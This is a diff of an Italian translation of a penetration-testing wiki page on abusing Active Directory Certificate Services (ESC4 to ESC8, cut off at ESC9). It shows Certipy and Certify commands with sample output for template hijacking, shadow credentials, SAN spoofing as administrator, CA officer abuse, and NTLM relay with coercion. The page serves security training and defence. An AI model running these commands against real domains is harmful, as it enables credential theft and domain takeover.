“Limitare gli agenti di registrazione,” la configurazione predefinita rimane estremamente permissiva. Consente l'accesso a **Tutti** per registrarsi in tutti i modelli come chiunque. +Tuttavia, è da notare che l'impostazione **di default** per le CA è “**Do not restrict enrollment agents**.” Quando la restrizione sugli enrollment agent viene abilitata dagli amministratori, impostandola su “Restrict enrollment agents”, la configurazione predefinita rimane estremamente permissiva. Consente a **Everyone** l'accesso per iscriversi a tutti i template come chiunque. -## Controllo degli accessi ai modelli di certificato vulnerabili - ESC4 +## Controllo degli accessi vulnerabile ai template di certificato - ESC4 ### **Spiegazione** -Il **descrittore di sicurezza** sui **modelli di certificato** definisce le **autorizzazioni** specifiche che i **principali AD** possiedono riguardo al modello. +Il **security descriptor** sui **certificate templates** definisce i **permissions** che specifici **AD principals** possiedono riguardo al template. -Se un **attaccante** possiede le necessarie **autorizzazioni** per **modificare** un **modello** e **istituire** eventuali **misconfigurazioni sfruttabili** delineate nelle **sezioni precedenti**, l'escalation dei privilegi potrebbe essere facilitata. +Se un **attacker** possiede i **permissions** necessari per **alterare** un **template** e **introdurre** qualsiasi **exploitable misconfiguration** descritte nelle **sezioni precedenti**, potrebbe essere facilitata un'elevazione di privilegi. -Le autorizzazioni note applicabili ai modelli di certificato includono: +Permessi rilevanti applicabili ai certificate templates includono: -- **Proprietario:** Concede il controllo implicito sull'oggetto, consentendo la modifica di qualsiasi attributo. -- **FullControl:** Abilita l'autorità completa sull'oggetto, inclusa la capacità di modificare qualsiasi attributo. -- **WriteOwner:** Permette la modifica del proprietario dell'oggetto a un principale sotto il controllo dell'attaccante. -- **WriteDacl:** Consente la regolazione dei controlli di accesso, potenzialmente concedendo a un attaccante FullControl. +- **Owner:** Concede un controllo implicito sull'oggetto, permettendo la modifica di qualsiasi attributo. +- **FullControl:** Consente autorità completa sull'oggetto, inclusa la possibilità di modificare qualsiasi attributo. +- **WriteOwner:** Permette di cambiare il proprietario dell'oggetto assegnandolo a un principal sotto il controllo dell'**attacker**. +- **WriteDacl:** Permette di modificare i controlli di accesso, potenzialmente concedendo all'**attacker** FullControl. - **WriteProperty:** Autorizza la modifica di qualsiasi proprietà dell'oggetto. -### Abuso +### **Abuso** -Un esempio di un privesc come il precedente: +Per identificare i principals con diritti di modifica sui template e altri oggetti PKI, enumerare con Certify: +```bash +Certify.exe find /showAllPermissions +Certify.exe pkiobjects /domain:corp.local /showAdmins +``` +Un esempio di privesc simile al precedente:
-ESC4 è quando un utente ha privilegi di scrittura su un modello di certificato. Questo può essere abusato, ad esempio, per sovrascrivere la configurazione del modello di certificato per renderlo vulnerabile a ESC1. +ESC4 è quando un utente ha privilegi di scrittura su un modello di certificato. Questo può, per esempio, essere abusato per sovrascrivere la configurazione del modello di certificato e rendere il template vulnerabile a ESC1. -Come possiamo vedere nel percorso sopra, solo `JOHNPC` ha questi privilegi, ma il nostro utente `JOHN` ha il nuovo edge `AddKeyCredentialLink` verso `JOHNPC`. Poiché questa tecnica è correlata ai certificati, ho implementato anche questo attacco, noto come [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Ecco un piccolo assaggio del comando `shadow auto` di Certipy per recuperare l'hash NT della vittima. +Come possiamo vedere nel percorso sopra, solo `JOHNPC` ha questi privilegi, ma il nostro utente `JOHN` ha il nuovo `AddKeyCredentialLink` edge verso `JOHNPC`. Poiché questa tecnica è legata ai certificati, ho implementato anche questo attacco, noto come [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Ecco una piccola anteprima del comando `shadow auto` di Certipy per recuperare l'NT hash della vittima. ```bash certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc' ``` -**Certipy** può sovrascrivere la configurazione di un modello di certificato con un singolo comando. Per **default**, Certipy **sovrascriverà** la configurazione per renderla **vulnerabile a ESC1**. Possiamo anche specificare il **`-save-old` parametro per salvare la vecchia configurazione**, che sarà utile per **ripristinare** la configurazione dopo il nostro attacco. +**Certipy** può sovrascrivere la configurazione di un modello di certificato con un singolo comando. Per **impostazione predefinita**, Certipy **sovrascriverà** la configurazione per renderla **vulnerabile a ESC1**. Possiamo anche specificare il **`-save-old` parametro per salvare la vecchia configurazione**, che sarà utile per **ripristinare** la configurazione dopo il nostro attacco. ```bash # Make template vuln to ESC1 certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old @@ -164,21 +181,21 @@ certipy template -username john@corp.local -password Passw0rd -template ESC4-Tes ### Spiegazione -La vasta rete di relazioni interconnesse basate su ACL, che include diversi oggetti oltre ai modelli di certificato e all'autorità di certificazione, può influenzare la sicurezza dell'intero sistema AD CS. Questi oggetti, che possono influenzare significativamente la sicurezza, comprendono: +La fitta rete di relazioni interconnesse basate su ACL, che include diversi oggetti oltre ai certificate templates e alla certificate authority, può influenzare la sicurezza dell'intero sistema AD CS. Questi oggetti, che possono incidere significativamente sulla sicurezza, comprendono: -- L'oggetto computer AD del server CA, che può essere compromesso attraverso meccanismi come S4U2Self o S4U2Proxy. +- L'AD computer object del server CA, che può essere compromesso tramite meccanismi come S4U2Self o S4U2Proxy. - Il server RPC/DCOM del server CA. -- Qualsiasi oggetto o contenitore AD discendente all'interno del percorso specifico `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`. Questo percorso include, ma non è limitato a, contenitori e oggetti come il contenitore dei Modelli di Certificato, il contenitore delle Autorità di Certificazione, l'oggetto NTAuthCertificates e il Contenitore dei Servizi di Registrazione. +- Qualsiasi oggetto AD discendente o contenitore all'interno del percorso specifico del contenitore `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`. Questo percorso include, ma non si limita a, contenitori e oggetti come il Certificate Templates container, il Certification Authorities container, il NTAuthCertificates object e l'Enrollment Services Container. -La sicurezza del sistema PKI può essere compromessa se un attaccante a bassa privilegiatura riesce a ottenere il controllo su uno di questi componenti critici. +La sicurezza del sistema PKI può essere compromessa se un attaccante con privilegi bassi riesce a prendere il controllo di uno qualsiasi di questi componenti critici. ## EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6 ### Spiegazione -L'argomento discusso nel [**post di CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage) tocca anche le implicazioni del flag **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, come delineato da Microsoft. Questa configurazione, quando attivata su un'Autorità di Certificazione (CA), consente l'inclusione di **valori definiti dall'utente** nel **nome alternativo del soggetto** per **qualsiasi richiesta**, comprese quelle costruite da Active Directory®. Di conseguenza, questa disposizione consente a un **intruso** di registrarsi attraverso **qualsiasi modello** impostato per l'**autenticazione** del dominio—specificamente quelli aperti alla registrazione di utenti **non privilegiati**, come il modello standard Utente. Di conseguenza, un certificato può essere ottenuto, consentendo all'intruso di autenticarsi come amministratore di dominio o **qualsiasi altra entità attiva** all'interno del dominio. +L'argomento trattato nel [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) tocca anche le implicazioni del flag **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, come descritto da Microsoft. Questa configurazione, quando attivata su una Certification Authority (CA), permette l'inclusione di **valori definiti dall'utente** nel **subject alternative name** per **qualsiasi richiesta**, incluse quelle costruite da Active Directory®. Di conseguenza, questa disposizione consente a un **intruso** di iscriversi tramite **qualsiasi template** configurato per l'**autenticazione** di dominio—specificamente quelli aperti all'iscrizione da parte di utenti **non privilegiati**, come il template User standard. Come risultato, può essere ottenuto un certificato che permette all'intruso di autenticarsi come domain administrator o **qualsiasi altra entità attiva** all'interno del dominio. -**Nota**: L'approccio per aggiungere **nomi alternativi** in una Richiesta di Firma del Certificato (CSR), attraverso l'argomento `-attrib "SAN:"` in `certreq.exe` (definito come “Name Value Pairs”), presenta un **contrasto** rispetto alla strategia di sfruttamento degli SAN in ESC1. Qui, la distinzione risiede in **come le informazioni sull'account sono incapsulate**—all'interno di un attributo del certificato, piuttosto che in un'estensione. +**Nota**: L'approccio per aggiungere **alternative names** in una Certificate Signing Request (CSR), tramite l'argomento `-attrib "SAN:"` in `certreq.exe` (indicato come “Name Value Pairs”), presenta un **contrasto** rispetto alla strategia di sfruttamento delle SAN in ESC1. Qui, la distinzione risiede in **come le informazioni dell'account sono incapsulate**—all'interno di un attributo del certificato, piuttosto che in un'estensione. ### Abuso @@ -186,11 +203,11 @@ Per verificare se l'impostazione è attivata, le organizzazioni possono utilizza ```bash certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags" ``` -Questa operazione impiega essenzialmente **remote registry access**, quindi, un approccio alternativo potrebbe essere: +Questa operazione impiega essenzialmente **accesso remoto al registro**, quindi un approccio alternativo potrebbe essere: ```bash reg.exe query \\\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags ``` -Strumenti come [**Certify**](https://github.com/GhostPack/Certify) e [**Certipy**](https://github.com/ly4k/Certipy) sono in grado di rilevare questa errata configurazione e sfruttarla: +Strumenti come [**Certify**](https://github.com/GhostPack/Certify) e [**Certipy**](https://github.com/ly4k/Certipy) sono in grado di rilevare questa misconfigurazione e sfruttarla: ```bash # Detect vulnerabilities, including this one Certify.exe find @@ -199,7 +216,7 @@ Certify.exe find Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local ``` -Per modificare queste impostazioni, assumendo di possedere diritti **amministrativi di dominio** o equivalenti, il seguente comando può essere eseguito da qualsiasi workstation: +Per modificare queste impostazioni, supponendo di possedere **domain administrative** rights o equivalenti, il seguente comando può essere eseguito da qualsiasi workstation: ```bash certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2 ``` @@ -208,28 +225,28 @@ Per disabilitare questa configurazione nel tuo ambiente, il flag può essere rim certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2 ``` > [!WARNING] -> Dopo gli aggiornamenti di sicurezza di maggio 2022, i **certificati** emessi di recente conterranno un **estensione di sicurezza** che incorpora la proprietà `objectSid` del **richiedente**. Per ESC1, questo SID è derivato dal SAN specificato. Tuttavia, per **ESC6**, il SID rispecchia l'**`objectSid` del richiedente**, non il SAN.\ -> Per sfruttare ESC6, è essenziale che il sistema sia suscettibile a ESC10 (Mappature di Certificati Deboli), che dà priorità al **SAN rispetto alla nuova estensione di sicurezza**. +> Dopo gli aggiornamenti di sicurezza di maggio 2022, i nuovi **certificates** conterranno una **security extension** che incorpora la **requester's `objectSid` property**. Per ESC1, questo SID è derivato dal SAN specificato. Tuttavia, per **ESC6**, il SID rispecchia il **requester's `objectSid`**, non il SAN.\ +> Per sfruttare ESC6, è essenziale che il sistema sia suscettibile a ESC10 (Weak Certificate Mappings), che prioritizza il **SAN rispetto alla nuova security extension**. -## Controllo Accessi dell'Autorità di Certificazione Vulnerabile - ESC7 +## Controllo degli Accessi della Certificate Authority vulnerabile - ESC7 ### Attacco 1 #### Spiegazione -Il controllo accessi per un'autorità di certificazione è mantenuto attraverso un insieme di permessi che governano le azioni della CA. Questi permessi possono essere visualizzati accedendo a `certsrv.msc`, facendo clic con il tasto destro su una CA, selezionando proprietà e poi navigando alla scheda Sicurezza. Inoltre, i permessi possono essere enumerati utilizzando il modulo PSPKI con comandi come: +Il controllo degli accessi per una Certificate Authority è mantenuto tramite un insieme di permessi che governano le azioni della CA. Questi permessi possono essere visualizzati aprendo `certsrv.msc`, facendo clic con il tasto destro su una CA, selezionando Proprietà e poi andando alla scheda Sicurezza. Inoltre, i permessi possono essere enumerati usando il modulo PSPKI con comandi come: ```bash Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access ``` -Questo fornisce informazioni sui diritti principali, ovvero **`ManageCA`** e **`ManageCertificates`**, che corrispondono ai ruoli di “amministratore CA” e “gestore certificati” rispettivamente. +This provides insights into the primary rights, namely **`ManageCA`** and **`ManageCertificates`**, correlating to the roles of “CA administrator” and “Certificate Manager” respectively. -#### Abuso +#### Abuse -Avere diritti **`ManageCA`** su un'autorità di certificazione consente al principale di manipolare le impostazioni da remoto utilizzando PSPKI. Questo include l'attivazione del flag **`EDITF_ATTRIBUTESUBJECTALTNAME2`** per consentire la specifica di SAN in qualsiasi modello, un aspetto critico dell'escalation del dominio. +Avere i diritti **`ManageCA`** su una certificate authority permette al principal di manipolare le impostazioni da remoto usando PSPKI. Questo include l'attivazione/disattivazione del flag **`EDITF_ATTRIBUTESUBJECTALTNAME2`** per consentire la specifica del SAN in qualsiasi template, un aspetto critico per la domain escalation. -La semplificazione di questo processo è realizzabile attraverso l'uso del cmdlet **Enable-PolicyModuleFlag** di PSPKI, che consente modifiche senza interazione diretta con l'interfaccia grafica. +La semplificazione di questo processo è ottenibile tramite l'uso del cmdlet PSPKI **Enable-PolicyModuleFlag**, che consente modifiche senza interagire direttamente con la GUI. -Il possesso di diritti **`ManageCertificates`** facilita l'approvazione delle richieste in sospeso, eludendo efficacemente la protezione "approvazione del gestore certificati CA". +Il possesso dei diritti **`ManageCertificates`** facilita l'approvazione delle richieste in sospeso, eludendo di fatto il meccanismo di "CA certificate manager approval". Una combinazione dei moduli **Certify** e **PSPKI** può essere utilizzata per richiedere, approvare e scaricare un certificato: ```bash @@ -247,33 +264,33 @@ Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -R # Download the certificate Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336 ``` -### Attacco 2 +### Attack 2 #### Spiegazione > [!WARNING] -> Nel **precedente attacco** i permessi **`Manage CA`** sono stati utilizzati per **abilitare** il flag **EDITF_ATTRIBUTESUBJECTALTNAME2** per eseguire l'**attacco ESC6**, ma questo non avrà alcun effetto fino a quando il servizio CA (`CertSvc`) non verrà riavviato. Quando un utente ha il diritto di accesso **`Manage CA`**, l'utente è anche autorizzato a **riavviare il servizio**. Tuttavia, **ciò non significa che l'utente possa riavviare il servizio da remoto**. Inoltre, l'**ESC6 potrebbe non funzionare immediatamente** nella maggior parte degli ambienti patchati a causa degli aggiornamenti di sicurezza di maggio 2022. +> Nell'**precedente attack** **`Manage CA`** i permessi sono stati usati per **abilitare** il flag **EDITF_ATTRIBUTESUBJECTALTNAME2** per eseguire l'**ESC6 attack**, ma questo non avrà alcun effetto finché il servizio CA (`CertSvc`) non viene riavviato. Quando un utente ha il diritto di accesso `Manage CA`, all'utente è anche consentito **riavviare il servizio**. Tuttavia, ciò **non significa che l'utente possa riavviare il servizio da remoto**. Inoltre, E**SC6 might not work out of the box** nella maggior parte degli ambienti aggiornati a causa degli aggiornamenti di sicurezza di maggio 2022. -Pertanto, un altro attacco è presentato qui. +Pertanto, qui viene presentato un altro attack. Prerequisiti: -- Solo permesso **`ManageCA`** +- Solo il permesso **`ManageCA`** - Permesso **`Manage Certificates`** (può essere concesso da **`ManageCA`**) -- Il modello di certificato **`SubCA`** deve essere **abilitato** (può essere abilitato da **`ManageCA`**) +- Il template di certificato **`SubCA`** deve essere **abilitato** (può essere abilitato da **`ManageCA`**) -La tecnica si basa sul fatto che gli utenti con il diritto di accesso **`Manage CA`** _e_ **`Manage Certificates`** possono **emissione di richieste di certificato fallite**. Il modello di certificato **`SubCA`** è **vulnerabile a ESC1**, ma **solo gli amministratori** possono iscriversi al modello. Pertanto, un **utente** può **richiedere** di iscriversi al **`SubCA`** - che sarà **negata** - ma **poi emessa dal manager successivamente**. +La tecnica si basa sul fatto che gli utenti con i diritti di accesso `Manage CA` _e_ `Manage Certificates` possono **emettere richieste di certificato fallite**. Il template di certificato **`SubCA`** è **vulnerabile a ESC1**, ma **solo gli amministratori** possono iscriversi al template. Pertanto, un **utente** può **richiedere** di iscriversi al **`SubCA`** — richiesta che verrà **negata** — ma poi la certificazione può essere **emessa dal responsabile** successivamente. #### Abuso -Puoi **concederti il diritto di accesso `Manage Certificates`** aggiungendo il tuo utente come nuovo ufficiale. +Puoi **concederti il diritto di accesso `Manage Certificates`** aggiungendo il tuo utente come nuovo incaricato. ```bash certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully added officer 'John' on 'corp-DC-CA' ``` -Il **`SubCA`** template può essere **abilitato sulla CA** con il parametro `-enable-template`. Per impostazione predefinita, il template `SubCA` è abilitato. +Il template **`SubCA`** può essere **abilitato sulla CA** con il parametro `-enable-template`. Per impostazione predefinita, il template `SubCA` è abilitato. ```bash # List templates certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA' @@ -285,9 +302,9 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully enabled 'SubCA' on 'corp-DC-CA' ``` -Se abbiamo soddisfatto i requisiti per questo attacco, possiamo iniziare **richiedendo un certificato basato sul template `SubCA`**. +Se abbiamo soddisfatto i prerequisiti per questo attacco, possiamo iniziare **richiedendo un certificato basato sul template `SubCA`**. -**Questa richiesta verrà negata**, ma salveremo la chiave privata e annoteremo l'ID della richiesta. +**Questa richiesta verrà rifiutata**, ma salveremo la chiave privata e annoteremo l'ID della richiesta. ```bash certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -299,7 +316,7 @@ Would you like to save the private key? (y/N) y [*] Saved private key to 785.key [-] Failed to request certificate ``` -Con il nostro **`Manage CA` e `Manage Certificates`**, possiamo quindi **emettere la richiesta di certificato fallita** con il comando `ca` e il parametro `-issue-request `. +Con le nostre **`Manage CA` e `Manage Certificates`**, possiamo quindi **emettere la richiesta di certificato fallita** con il comando `ca` e il parametro `-issue-request `. ```bash certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -318,68 +335,68 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Loaded private key from '785.key' [*] Saved certificate and private key to 'administrator.pfx' ``` -### Attacco 3 – Abuso dell'Estensione Gestisci Certificati (SetExtension) +### Attacco 3 – Abuso dell’estensione Manage Certificates (SetExtension) #### Spiegazione -Oltre agli abusi classici di ESC7 (abilitare attributi EDITF o approvare richieste in sospeso), **Certify 2.0** ha rivelato un nuovo primitivo che richiede solo il ruolo di *Gestisci Certificati* (alias **Certificate Manager / Officer**) sulla CA aziendale. +Oltre agli abusi classici ESC7 (abilitare gli attributi EDITF o approvare richieste in sospeso), **Certify 2.0** ha rivelato una nuova primitiva che richiede solo il ruolo *Manage Certificates* (a.k.a. **Certificate Manager / Officer**) sulla Enterprise CA. -Il metodo RPC `ICertAdmin::SetExtension` può essere eseguito da qualsiasi principale che detiene *Gestisci Certificati*. Mentre il metodo è tradizionalmente utilizzato da CAs legittime per aggiornare le estensioni su richieste **in sospeso**, un attaccante può abusarne per **aggiungere un'estensione di certificato *non predefinita*** (ad esempio un OID *Certificate Issuance Policy* personalizzato come `1.1.1.1`) a una richiesta che è in attesa di approvazione. +Il metodo RPC `ICertAdmin::SetExtension` può essere eseguito da qualsiasi principal che detenga *Manage Certificates*. Mentre il metodo veniva tradizionalmente usato dalle CA legittime per aggiornare le estensioni su richieste **in sospeso**, un attacker può abusarne per **apporre una estensione di certificato *non predefinita*** (ad esempio una *Certificate Issuance Policy* OID personalizzata come `1.1.1.1`) a una richiesta in attesa di approvazione. -Poiché il modello mirato **non definisce un valore predefinito per quell'estensione**, la CA NON sovrascriverà il valore controllato dall'attaccante quando la richiesta verrà eventualmente emessa. Il certificato risultante contiene quindi un'estensione scelta dall'attaccante che può: +Poiché il template target **non definisce un valore predefinito per quella estensione**, la CA NON sovrascriverà il valore controllato dall’attaccante quando la richiesta verrà infine emessa. Il certificato risultante contiene quindi un’estensione scelta dall’attaccante che può: -* Soddisfare i requisiti di Application / Issuance Policy di altri modelli vulnerabili (portando a un'elevazione di privilegi). -* Iniettare EKUs o politiche aggiuntive che conferiscono al certificato una fiducia inaspettata nei sistemi di terze parti. +* Soddisfare requisiti di Application / Issuance Policy di altri template vulnerabili (portando a privilege escalation). +* Iniettare EKU o policy aggiuntive che concedono al certificato una fiducia inaspettata in sistemi di terze parti. -In breve, *Gestisci Certificati* – precedentemente considerato la parte “meno potente” di ESC7 – può ora essere sfruttato per un'elevazione di privilegi completa o una persistenza a lungo termine, senza toccare la configurazione della CA o richiedere il diritto più restrittivo di *Gestisci CA*. +In breve, *Manage Certificates* – precedentemente considerato la “metà meno potente” di ESC7 – può ora essere sfruttato per escalation di privilegi completa o persistenza a lungo termine, senza modificare la configurazione della CA o richiedere il più restrittivo diritto *Manage CA*. -#### Abusare del primitivo con Certify 2.0 +#### Abusare della primitiva con Certify 2.0 -1. **Invia una richiesta di certificato che rimarrà *in sospeso*.** Questo può essere forzato con un modello che richiede l'approvazione del manager: +1. **Sottomettere una richiesta di certificato che rimarrà *in sospeso*.** Questo può essere forzato con un template che richiede l’approvazione del manager: ```powershell Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval -# Prendi nota dell'ID della richiesta restituito +# Take note of the returned Request ID ``` -2. **Aggiungi un'estensione personalizzata alla richiesta in sospeso** utilizzando il nuovo comando `manage-ca`: +2. **Aggiungere un’estensione personalizzata alla richiesta in sospeso** usando il nuovo comando `manage-ca`: ```powershell Certify.exe manage-ca --ca SERVER\\CA-NAME \ --request-id 1337 \ ---set-extension "1.1.1.1=DER,10,01 01 00 00" # OID di policy di emissione falsa +--set-extension "1.1.1.1=DER,10,01 01 00 00" # fake issuance-policy OID ``` -*Se il modello non definisce già l'estensione *Certificate Issuance Policies*, il valore sopra sarà preservato dopo l'emissione.* +*Se il template non definisce già l’estensione *Certificate Issuance Policies*, il valore sopra sarà preservato dopo l’emissione.* -3. **Emetti la richiesta** (se il tuo ruolo ha anche diritti di approvazione *Gestisci Certificati*) o aspetta che un operatore la approvi. Una volta emesso, scarica il certificato: +3. **Emettere la richiesta** (se il tuo ruolo dispone anche dei diritti di approvazione *Manage Certificates*) oppure attendere che un operatore la approvi. Una volta emessa, scarica il certificato: ```powershell Certify.exe request-download --ca SERVER\\CA-NAME --id 1337 ``` -4. Il certificato risultante ora contiene l'OID di policy di emissione malevola e può essere utilizzato in attacchi successivi (ad es. ESC13, elevazione di dominio, ecc.). +4. Il certificato risultante contiene ora l’OID malicious di issuance-policy e può essere utilizzato in attacchi successivi (es. ESC13, escalation di dominio, ecc.). > NOTA: Lo stesso attacco può essere eseguito con Certipy ≥ 4.7 tramite il comando `ca` e il parametro `-set-extension`. -## NTLM Relay verso Endpoint HTTP AD CS – ESC8 +## NTLM Relay to AD CS HTTP Endpoints – ESC8 ### Spiegazione > [!TIP] -> In ambienti in cui **AD CS è installato**, se esiste un **endpoint di registrazione web vulnerabile** e almeno un **modello di certificato è pubblicato** che consente **l'iscrizione di computer di dominio e l'autenticazione del client** (come il modello predefinito **`Machine`**), diventa possibile per **qualsiasi computer con il servizio spooler attivo essere compromesso da un attaccante**! +> In ambienti in cui **AD CS è installato**, se esiste un **web enrollment endpoint vulnerabile** e almeno un **certificate template è pubblicato** che permette **domain computer enrollment e client authentication** (come il template di default **`Machine`**), diventa possibile che **qualsiasi computer con il spooler service attivo venga compromesso da un attacker**! -Diversi **metodi di registrazione basati su HTTP** sono supportati da AD CS, resi disponibili tramite ruoli server aggiuntivi che gli amministratori possono installare. Queste interfacce per la registrazione di certificati basata su HTTP sono suscettibili ad **attacchi di relay NTLM**. Un attaccante, da una **macchina compromessa, può impersonare qualsiasi account AD che si autentica tramite NTLM in entrata**. Mentre impersona l'account vittima, queste interfacce web possono essere accessibili da un attaccante per **richiedere un certificato di autenticazione del client utilizzando i modelli di certificato `User` o `Machine`**. +Diversi **metodi di enrollment basati su HTTP** sono supportati da AD CS, resi disponibili tramite ruoli server aggiuntivi che gli amministratori possono installare. Queste interfacce per l’enrollment basato su HTTP sono suscettibili a **NTLM relay attacks**. Un attacker, partendo da una macchina compromessa, può impersonare qualsiasi account AD che si autentica tramite NTLM in ingresso. Mentre impersona l’account vittima, queste interfacce web possono essere accessibili dall’attacker per **richiedere un certificato client per l’autenticazione usando i template `User` o `Machine`**. -- L'**interfaccia di registrazione web** (un'applicazione ASP più vecchia disponibile su `http:///certsrv/`), per impostazione predefinita utilizza solo HTTP, che non offre protezione contro gli attacchi di relay NTLM. Inoltre, consente esplicitamente solo l'autenticazione NTLM attraverso il suo header HTTP di autorizzazione, rendendo inapplicabili metodi di autenticazione più sicuri come Kerberos. -- Il **Servizio di Registrazione Certificati** (CES), il **Servizio Web di Politica di Registrazione Certificati** (CEP) e il **Servizio di Registrazione Dispositivi di Rete** (NDES) supportano per impostazione predefinita l'autenticazione negoziata tramite il loro header HTTP di autorizzazione. L'autenticazione negoziata **supporta sia** Kerberos che **NTLM**, consentendo a un attaccante di **downgradare all'autenticazione NTLM** durante gli attacchi di relay. Sebbene questi servizi web abilitino HTTPS per impostazione predefinita, HTTPS da solo **non protegge dagli attacchi di relay NTLM**. La protezione dagli attacchi di relay NTLM per i servizi HTTPS è possibile solo quando HTTPS è combinato con il binding del canale. Sfortunatamente, AD CS non attiva la Protezione Estesa per l'Autenticazione su IIS, che è necessaria per il binding del canale. +- L’**interfaccia di web enrollment** (una vecchia applicazione ASP disponibile su `http:///certsrv/`) è di default solo HTTP, il che non offre protezione contro NTLM relay attacks. Inoltre, essa esplicitamente permette solo NTLM tramite il suo Authorization HTTP header, rendendo inapplicabili metodi di autenticazione più sicuri come Kerberos. +- Il **Certificate Enrollment Service** (CES), il **Certificate Enrollment Policy** (CEP) Web Service, e il **Network Device Enrollment Service** (NDES) di default supportano l’autenticazione negotiate tramite il loro Authorization HTTP header. Negotiate authentication **supporta sia** Kerberos che **NTLM**, permettendo a un attacker di **degradare a NTLM** l’autenticazione durante attacchi di relay. Sebbene questi web service abilitino HTTPS per default, HTTPS da solo **non protegge contro NTLM relay attacks**. La protezione da NTLM relay per servizi HTTPS è possibile solo quando HTTPS è combinato con channel binding. Purtroppo, AD CS non attiva Extended Protection for Authentication su IIS, che è richiesta per il channel binding. -Un comune **problema** con gli attacchi di relay NTLM è la **breve durata delle sessioni NTLM** e l'incapacità dell'attaccante di interagire con i servizi che **richiedono la firma NTLM**. +Un problema comune negli NTLM relay attacks è la **breve durata delle sessioni NTLM** e l’impossibilità per l’attacker di interagire con servizi che **richiedono NTLM signing**. -Tuttavia, questa limitazione è superata sfruttando un attacco di relay NTLM per acquisire un certificato per l'utente, poiché il periodo di validità del certificato determina la durata della sessione, e il certificato può essere impiegato con servizi che **richiedono la firma NTLM**. Per istruzioni su come utilizzare un certificato rubato, fare riferimento a: +Tuttavia, questa limitazione viene superata sfruttando un NTLM relay attack per ottenere un certificato per l’utente, poiché il periodo di validità del certificato determina la durata della sessione, e il certificato può essere impiegato con servizi che **esigono NTLM signing**. Per istruzioni sull’utilizzo di un certificato rubato, fare riferimento a: {{#ref}} account-persistence.md {{#endref}} -Un'altra limitazione degli attacchi di relay NTLM è che **una macchina controllata dall'attaccante deve essere autenticata da un account vittima**. L'attaccante potrebbe aspettare o tentare di **forzare** questa autenticazione: +Un’altra limitazione degli NTLM relay attacks è che **una macchina controllata dall’attaccante deve essere autenticata da un account vittima**. L’attaccante può scegliere di aspettare oppure tentare di **forzare** questa autenticazione: {{#ref}} @@ -388,13 +405,13 @@ Un'altra limitazione degli attacchi di relay NTLM è che **una macchina controll ### **Abuso** -[**Certify**](https://github.com/GhostPack/Certify)’s `cas` enumera **endpoint HTTP AD CS abilitati**: +Il comando `cas` di [**Certify**](https://github.com/GhostPack/Certify) enumera gli **endpoint HTTP AD CS abilitati**: ``` Certify.exe cas ```
-La proprietà `msPKI-Enrollment-Servers` è utilizzata dalle Autorità di Certificazione (CA) aziendali per memorizzare gli endpoint del Servizio di Registrazione dei Certificati (CES). Questi endpoint possono essere analizzati e elencati utilizzando lo strumento **Certutil.exe**: +La proprietà `msPKI-Enrollment-Servers` viene usata dalle Autorità di Certificazione aziendali (CA) per memorizzare gli endpoint del Certificate Enrollment Service (CES). Questi endpoint possono essere analizzati e elencati utilizzando lo strumento **Certutil.exe**: ``` certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA ``` @@ -422,9 +439,9 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe < ``` #### Abuso con [Certipy](https://github.com/ly4k/Certipy) -La richiesta per un certificato viene effettuata da Certipy per impostazione predefinita in base al modello `Machine` o `User`, determinato dal fatto che il nome dell'account da relazionare termini con `$`. La specifica di un modello alternativo può essere ottenuta attraverso l'uso del parametro `-template`. +La richiesta di un certificato viene effettuata da Certipy per impostazione predefinita basandosi sul template `Machine` o `User`, determinato dal fatto che il nome dell'account soggetto a relay termini con `$`. La specifica di un template alternativo può essere ottenuta tramite l'uso del parametro `-template`. -Una tecnica come [PetitPotam](https://github.com/ly4k/PetitPotam) può quindi essere impiegata per costringere l'autenticazione. Quando si tratta di controller di dominio, è necessaria la specifica di `-template DomainController`. +Una tecnica come [PetitPotam](https://github.com/ly4k/PetitPotam) può quindi essere impiegata per forzare l'autenticazione. Quando si lavora con i controller di dominio, è necessario specificare `-template DomainController`. ```bash certipy relay -ca ca.corp.local Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -439,32 +456,32 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) ``` ## No Security Extension - ESC9 -### Spiegazione +### Explanation -Il nuovo 